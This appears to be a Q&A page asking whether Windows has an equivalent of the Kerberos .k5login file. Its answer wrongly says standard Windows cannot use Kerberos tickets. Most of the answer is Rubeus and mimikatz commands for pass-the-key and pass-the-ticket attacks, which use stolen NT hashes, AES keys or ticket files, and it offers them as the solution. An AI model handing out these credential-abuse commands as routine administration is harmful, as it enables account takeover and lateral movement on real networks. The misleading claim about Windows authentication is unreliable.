Is there a .k5login equivalent on Windows?

Solution 1:

Standard Windows only does user/password and cannot use the Kerberos ticket. You need to use third-party software for that.

The article Pass the key, from the website The Hacker Recipes, lists two such free and open-source products:

Rubeus

# with an NT hash
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /rc4:$NThash /ptt
# with an AES 128 key
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes128:$NThash /ptt
# with an AES 256 key
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes256:$NThash /ptt

mimikatz

# with an NT hash
sekurlsa::pth /user:$USER /domain:$DOMAIN /rc4:$NThash /ptt
# with an AES 128 key
sekurlsa::pth /user:$USER /domain:$DOMAIN /aes128:$aes128_key /ptt
# with an AES 256 key
sekurlsa::pth /user:$USER /domain:$DOMAIN /aes256:$aes256_key /ptt

See the documentation of the tools to further understand their capabilities.

You might prefer the article Pass the ticket, which adds the following methods:

# use a .kirbi file
kerberos::ptt $ticket_kirbi_file

# use a .ccache file
kerberos::ptt $ticket_ccache_file

Rubeus.exe ptt /ticket:$ticket_kirbi_file